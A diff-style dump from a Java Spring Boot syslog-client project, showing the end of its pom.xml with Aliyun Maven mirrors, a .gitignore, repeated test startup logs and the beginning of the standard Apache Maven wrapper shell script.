<groupId>cn.hutool</groupId>
|
||||
<artifactId>hutool-all</artifactId>
|
||||
<version>5.8.16</version>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-maven-plugin</artifactId>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
<repositories>
|
||||
<!--阿里云主仓库,代理了maven central和jcenter仓库-->
|
||||
<repository>
|
||||
<id>aliyun</id>
|
||||
<name>aliyun</name>
|
||||
<url>https://maven.aliyun.com/repository/public</url>
|
||||
<releases>
|
||||
<enabled>true</enabled>
|
||||
</releases>
|
||||
<snapshots>
|
||||
<enabled>false</enabled>
|
||||
</snapshots>
|
||||
</repository>
|
||||
<!--阿里云代理Spring 官方仓库-->
|
||||
<repository>
|
||||
<id>spring-milestones</id>
|
||||
<name>Spring Milestones</name>
|
||||
<url>https://maven.aliyun.com/repository/spring</url>
|
||||
<releases>
|
||||
<enabled>true</enabled>
|
||||
</releases>
|
||||
<snapshots>
|
||||
<enabled>false</enabled>
|
||||
</snapshots>
|
||||
</repository>
|
||||
</repositories>
|
||||
<pluginRepositories>
|
||||
<!--阿里云代理Spring 插件仓库-->
|
||||
<pluginRepository>
|
||||
<id>spring-plugin</id>
|
||||
<name>spring-plugin</name>
|
||||
<url>https://maven.aliyun.com/repository/spring-plugin</url>
|
||||
<releases>
|
||||
<enabled>true</enabled>
|
||||
</releases>
|
||||
<snapshots>
|
||||
<enabled>false</enabled>
|
||||
</snapshots>
|
||||
</pluginRepository>
|
||||
</pluginRepositories>
|
||||
</project>
|
||||
@@ -0,0 +1,33 @@
|
||||
HELP.md
|
||||
target/
|
||||
!.mvn/wrapper/maven-wrapper.jar
|
||||
!**/src/main/**/target/
|
||||
!**/src/test/**/target/
|
||||
|
||||
### STS ###
|
||||
.apt_generated
|
||||
.classpath
|
||||
.factorypath
|
||||
.project
|
||||
.settings
|
||||
.springBeans
|
||||
.sts4-cache
|
||||
|
||||
### IntelliJ IDEA ###
|
||||
.idea
|
||||
*.iws
|
||||
*.iml
|
||||
*.ipr
|
||||
|
||||
### NetBeans ###
|
||||
/nbproject/private/
|
||||
/nbbuild/
|
||||
/dist/
|
||||
/nbdist/
|
||||
/.nb-gradle/
|
||||
build/
|
||||
!**/src/main/**/build/
|
||||
!**/src/test/**/build/
|
||||
|
||||
### VS Code ###
|
||||
.vscode/
|
||||
@@ -0,0 +1,9 @@
|
||||
2025-12-17 14:39:34.796 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.haobang.syslog.SysjavacollectApplicationTests], using SpringBootContextLoader
|
||||
2025-12-17 14:39:34.815 [main] INFO o.s.t.c.s.AbstractContextLoader - Could not detect default resource locations for test class [com.haobang.syslog.SysjavacollectApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
|
||||
2025-12-17 14:39:34.818 [main] INFO o.s.t.c.s.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.haobang.syslog.SysjavacollectApplicationTests]: SysjavacollectApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
|
||||
2025-12-17 14:39:35.050 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.haobang.syslog.syslogClientApplication for test class com.haobang.syslog.SysjavacollectApplicationTests
|
||||
2025-12-17 14:39:35.355 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.event.ApplicationEventsTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener]
|
||||
2025-12-17 14:39:35.386 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@2e32ccc5, org.springframework.test.context.event.ApplicationEventsTestExecutionListener@748741cb, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@3e44f2a5, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@295cf707, org.springframework.test.context.support.DirtiesContextTestExecutionListener@1130520d, org.springframework.test.context.event.EventPublishingTestExecutionListener@5f77d0f9, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@463fd068, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@895e367, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@1b266842, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@7a3793c7, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@42b3b079, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@651aed93]
|
||||
2025-12-17 14:39:35.994 [main] INFO c.h.s.SysjavacollectApplicationTests - Starting SysjavacollectApplicationTests using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 19572 (started by chenc in E:\GIT_GOSAME\haobang-security-xdr\syslog-client)
|
||||
2025-12-17 14:39:35.996 [main] INFO c.h.s.SysjavacollectApplicationTests - No active profile set, falling back to 1 default profile: "default"
|
||||
2025-12-17 14:39:37.054 [main] INFO c.h.s.SysjavacollectApplicationTests - Started SysjavacollectApplicationTests in 1.581 seconds (JVM running for 3.837)
|
||||
@@ -0,0 +1,9 @@
|
||||
2025-12-22 20:42:30.617 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.haobang.syslog.SysjavacollectApplicationTests], using SpringBootContextLoader
|
||||
2025-12-22 20:42:30.638 [main] INFO o.s.t.c.s.AbstractContextLoader - Could not detect default resource locations for test class [com.haobang.syslog.SysjavacollectApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
|
||||
2025-12-22 20:42:30.640 [main] INFO o.s.t.c.s.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.haobang.syslog.SysjavacollectApplicationTests]: SysjavacollectApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
|
||||
2025-12-22 20:42:30.867 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.haobang.syslog.syslogClientApplication for test class com.haobang.syslog.SysjavacollectApplicationTests
|
||||
2025-12-22 20:42:31.110 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.event.ApplicationEventsTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener]
|
||||
2025-12-22 20:42:31.144 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@748741cb, org.springframework.test.context.event.ApplicationEventsTestExecutionListener@3e44f2a5, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@295cf707, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@1130520d, org.springframework.test.context.support.DirtiesContextTestExecutionListener@5f77d0f9, org.springframework.test.context.event.EventPublishingTestExecutionListener@463fd068, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@895e367, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@1b266842, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@7a3793c7, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@42b3b079, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@651aed93, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@4dd6fd0a]
|
||||
2025-12-22 20:42:31.702 [main] INFO c.h.s.SysjavacollectApplicationTests - Starting SysjavacollectApplicationTests using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 34572 (started by chenc in E:\GIT_GOSAME\haobang-security-xdr\syslog-client)
|
||||
2025-12-22 20:42:31.705 [main] INFO c.h.s.SysjavacollectApplicationTests - No active profile set, falling back to 1 default profile: "default"
|
||||
2025-12-22 20:42:32.775 [main] INFO c.h.s.SysjavacollectApplicationTests - Started SysjavacollectApplicationTests in 1.543 seconds (JVM running for 3.696)
|
||||
@@ -0,0 +1,9 @@
|
||||
2025-12-29 15:11:36.187 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.haobang.syslog.SysjavacollectApplicationTests], using SpringBootContextLoader
|
||||
2025-12-29 15:11:36.197 [main] INFO o.s.t.c.s.AbstractContextLoader - Could not detect default resource locations for test class [com.haobang.syslog.SysjavacollectApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
|
||||
2025-12-29 15:11:36.197 [main] INFO o.s.t.c.s.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.haobang.syslog.SysjavacollectApplicationTests]: SysjavacollectApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
|
||||
2025-12-29 15:11:36.334 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.haobang.syslog.syslogClientApplication for test class com.haobang.syslog.SysjavacollectApplicationTests
|
||||
2025-12-29 15:11:36.455 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.event.ApplicationEventsTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener]
|
||||
2025-12-29 15:11:36.468 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@748741cb, org.springframework.test.context.event.ApplicationEventsTestExecutionListener@3e44f2a5, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@295cf707, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@1130520d, org.springframework.test.context.support.DirtiesContextTestExecutionListener@5f77d0f9, org.springframework.test.context.event.EventPublishingTestExecutionListener@463fd068, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@895e367, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@1b266842, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@7a3793c7, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@42b3b079, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@651aed93, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@4dd6fd0a]
|
||||
2025-12-29 15:11:36.743 [main] INFO c.h.s.SysjavacollectApplicationTests - Starting SysjavacollectApplicationTests using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 26068 (started by chenc in E:\GIT_GOSAME\haobang-security-xdr\syslog-client)
|
||||
2025-12-29 15:11:36.744 [main] INFO c.h.s.SysjavacollectApplicationTests - No active profile set, falling back to 1 default profile: "default"
|
||||
2025-12-29 15:11:37.190 [main] INFO c.h.s.SysjavacollectApplicationTests - Started SysjavacollectApplicationTests in 0.687 seconds (JVM running for 1.833)
|
||||
@@ -0,0 +1,9 @@
|
||||
2026-04-30 11:59:42.502 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.haobang.syslog.SysjavacollectApplicationTests], using SpringBootContextLoader
|
||||
2026-04-30 11:59:42.519 [main] INFO o.s.t.c.s.AbstractContextLoader - Could not detect default resource locations for test class [com.haobang.syslog.SysjavacollectApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
|
||||
2026-04-30 11:59:42.520 [main] INFO o.s.t.c.s.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.haobang.syslog.SysjavacollectApplicationTests]: SysjavacollectApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
|
||||
2026-04-30 11:59:42.710 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.haobang.syslog.syslogClientApplication for test class com.haobang.syslog.SysjavacollectApplicationTests
|
||||
2026-04-30 11:59:42.925 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.event.ApplicationEventsTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener]
|
||||
2026-04-30 11:59:42.951 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@748741cb, org.springframework.test.context.event.ApplicationEventsTestExecutionListener@3e44f2a5, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@295cf707, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@1130520d, org.springframework.test.context.support.DirtiesContextTestExecutionListener@5f77d0f9, org.springframework.test.context.event.EventPublishingTestExecutionListener@463fd068, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@895e367, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@1b266842, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@7a3793c7, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@42b3b079, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@651aed93, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@4dd6fd0a]
|
||||
2026-04-30 11:59:43.345 [main] INFO c.h.s.SysjavacollectApplicationTests - Starting SysjavacollectApplicationTests using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 33800 (started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-client)
|
||||
2026-04-30 11:59:43.346 [main] INFO c.h.s.SysjavacollectApplicationTests - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-04-30 11:59:43.989 [main] INFO c.h.s.SysjavacollectApplicationTests - Started SysjavacollectApplicationTests in 0.979 seconds (JVM running for 2.769)
|
||||
@@ -0,0 +1,9 @@
|
||||
2026-05-14 08:53:15.386 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.haobang.syslog.SysjavacollectApplicationTests], using SpringBootContextLoader
|
||||
2026-05-14 08:53:15.400 [main] INFO o.s.t.c.s.AbstractContextLoader - Could not detect default resource locations for test class [com.haobang.syslog.SysjavacollectApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
|
||||
2026-05-14 08:53:15.401 [main] INFO o.s.t.c.s.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.haobang.syslog.SysjavacollectApplicationTests]: SysjavacollectApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration.
|
||||
2026-05-14 08:53:15.555 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.haobang.syslog.syslogClientApplication for test class com.haobang.syslog.SysjavacollectApplicationTests
|
||||
2026-05-14 08:53:15.765 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.event.ApplicationEventsTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener]
|
||||
2026-05-14 08:53:15.782 [main] INFO o.s.b.t.c.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@748741cb, org.springframework.test.context.event.ApplicationEventsTestExecutionListener@3e44f2a5, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@295cf707, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@1130520d, org.springframework.test.context.support.DirtiesContextTestExecutionListener@5f77d0f9, org.springframework.test.context.event.EventPublishingTestExecutionListener@463fd068, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@895e367, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@1b266842, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@7a3793c7, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@42b3b079, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@651aed93, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@4dd6fd0a]
|
||||
2026-05-14 08:53:16.222 [main] INFO c.h.s.SysjavacollectApplicationTests - Starting SysjavacollectApplicationTests using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 20672 (started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-client)
|
||||
2026-05-14 08:53:16.223 [main] INFO c.h.s.SysjavacollectApplicationTests - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-14 08:53:17.046 [main] INFO c.h.s.SysjavacollectApplicationTests - Started SysjavacollectApplicationTests in 1.201 seconds (JVM running for 2.913)
|
||||
+316
@@ -0,0 +1,316 @@
|
||||
#!/bin/sh
|
||||
# ----------------------------------------------------------------------------
|
||||
# Licensed to the Apache Software Foundation (ASF) under one
|
||||
# or more contributor license agreements. See the NOTICE file
|
||||
# distributed with this work for additional information
|
||||
# regarding copyright ownership. The ASF licenses this file
|
||||
# to you under the Apache License, Version 2.0 (the
|
||||
# "License"); you may not use this file except in compliance
|
||||
# with the License. You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing,
|
||||
# software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
# KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations
|
||||
# under the License.
|
||||
# ----------------------------------------------------------------------------
|
||||
|
||||
# ----------------------------------------------------------------------------
|
||||
# Maven Start Up Batch script
|
||||
#
|
||||
# Required ENV vars:
|
||||
# ------------------
|
||||
# JAVA_HOME - location of a JDK home dir
|
||||
#
|
||||
# Optional ENV vars
|
||||
# -----------------
|
||||
# M2_HOME - location of maven2's installed home dir
|
||||
# MAVEN_OPTS - parameters passed to the Java VM when running Maven
|
||||
# e.g. to debug Maven itself, use
|
||||
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
|
||||
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
|
||||
# ----------------------------------------------------------------------------
|
||||
|
||||
if [ -z "$MAVEN_SKIP_RC" ] ; then
|
||||
|
||||
if [ -f /usr/local/etc/mavenrc ] ; then
|
||||
. /usr/local/etc/mavenrc
|
||||
fi
|
||||
|
||||
if [ -f /etc/mavenrc ] ; then
|
||||
. /etc/mavenrc
|
||||
fi
|
||||
|
||||
if [ -f "$HOME/.mavenrc" ] ; then
|
||||
. "$HOME/.mavenrc"
|
||||
fi
|
||||
|
||||
fi
|
||||
|
||||
# OS specific support. $var _must_ be set to either true or false.
|
||||
cygwin=false;
|
||||
darwin=false;
|
||||
mingw=false
|
||||
case "`uname`" in
|
||||
CYGWIN*) cygwin=true ;;
|
||||
MINGW*) mingw=true;;
|
||||
Darwin*) darwin=true
|
||||
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
|
||||
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html
|
||||
if [ -z "$JAVA_HOME" ]; then
|
||||
if [ -x "/usr/libexec/java_home" ]; then
|
||||
export JAVA_HOME="`/usr/libexec/java_home`"
|
||||
else
|
||||
export JAVA_HOME="/Library/Java/Home"
|
||||
fi
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ -z "$JAVA_HOME" ] ; then
|
||||
if [ -r /etc/gentoo-release ] ; then
|
||||
JAVA_HOME=`java-config --jre-home`
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$M2_HOME" ] ; then
|
||||
## resolve links - $0 may be a link to maven's home
|
||||
PRG="$0"
|
||||
|
||||
# need this for relative symlinks
|
||||
while [ -h "$PRG" ] ; do
|
||||
ls=`ls -ld "$PRG"`
|
||||
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||
if expr "$link" : '/.*' > /dev/null; then
|
||||
PRG="$link"
|
||||
else
|
||||
PRG="`dirname "$PRG"`/$link"
|
||||
fi
|
||||
done
|
||||
|
||||
saveddir=`pwd`
|
||||
|
||||
M2_HOME=`dirname "$PRG"`/..
|
||||
|
||||
# make it fully qualified
|
||||
M2_HOME=`cd "$M2_HOME" && pwd`
|
||||
|
||||
cd "$saveddir"
|
||||
# echo Using m2 at $M2_HOME
|
||||
fi
|
||||
|
||||
# For Cygwin, ensure paths are in UNIX format before anything is touched
|
||||
if $cygwin ; then
|
||||
[ -n "$M2_HOME" ] &&
|
||||
M2_HOME=`cygpath --unix "$M2_HOME"`
|
||||
[ -n "$JAVA_HOME" ] &&
|
||||
JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
|
||||
[ -n "$CLASSPATH" ] &&
|
||||
CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
|
||||
fi
|
||||
|
||||
# For Mingw, ensure paths are in UNIX format before anything is touched
|
||||
if $mingw ; then
|
||||
[ -n "$M2_HOME" ] &&
|
||||
M2_HOME="`(cd "$M2_HOME"; pwd)`"
|
||||
[ -n "$JAVA_HOME" ] &&
|
||||
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
|
||||
fi
|
||||
|
||||
if [ -z "$JAVA_HOME" ]; then
|
||||
javaExecutable="`which javac`"
|
||||
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
|
||||
# readlink(1) is not available as standard on Solaris 10.
|
||||
readLink=`which readlink`
|
||||
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
|
||||
if $darwin ; then
|
||||
javaHome="`dirname \"$javaExecutable\"`"
|
||||
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
|
||||
else
|
||||
javaExecutable="`readlink -f \"$javaExecutable\"`"
|
||||
fi
|
||||
javaHome="`dirname \"$javaExecutable\"`"
|
||||
javaHome=`expr "$javaHome" : '\(.*\)/bin'`
|
||||
JAVA_HOME="$javaHome"
|
||||
export JAVA_HOME
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$JAVACMD" ] ; then
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||
else
|
||||
JAVACMD="$JAVA_HOME/bin/java"
|
||||
fi
|
||||
else
|
||||
JAVACMD="`\\unset -f command; \\command -v java`"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
echo "Error: JAVA_HOME is not defined correctly." >&2
|
||||
echo " We cannot execute $JAVACMD" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -z "$JAVA_HOME" ] ; then
|
||||
echo "Warning: JAVA_HOME environment variable is not set."
|
||||
fi
|
||||
|
||||
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
|
||||
|
||||
# traverses directory structure from process work directory to filesystem root
|
||||
# first directory with .mvn subdirectory is considered project base directory
|
||||
find_maven_basedir() {
|
||||
|
||||
if [ -z "$1" ]
|
||||
then
|
||||
echo "Path not specified to find_maven_basedir"
|
||||
return 1
|
||||
fi
|
||||
|
||||
basedir="$1"
|
||||
wdir="$1"
|
||||
while [ "$wdir" != '/' ] ; do
|
||||
if [ -d "$wdir"/.mvn ] ; then
|
||||
basedir=$wdir
|
||||
break
|
||||
fi
|
||||
# workaround for JBEAP-8937 (on Solaris 10/Sparc)
|
||||
if [ -d "${wdir}" ]; then
|
||||
wdir=`cd "$wdir/.."; pwd`
|
||||
fi
|
||||
# end of workaround
|
||||
done
|
||||
echo "${basedir}"
|
||||
}
|
||||
|
||||
# concatenates all lines of a file
|
||||
concat_lines() {
|
||||
if [ -f "$1" ]; then
|
||||
echo "$(tr -s '\n' ' ' < "$1")"
|
||||
fi
|
||||
}
|
||||
|
||||
BASE_DIR=`find_maven_basedir "$(pwd)"`
|
||||
if [ -z "$BASE_DIR" ]; then
|
||||
exit 1;
|
||||
fi
|
||||
|
||||
##########################################################################################
|
||||
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
|
||||
# This allows using the maven wrapper in projects that prohibit checking in binary data.
|
||||
##########################################################################################
|
||||
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Found .mvn/wrapper/maven-wrapper.jar"
|
||||
fi
|
||||
else
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
|
||||
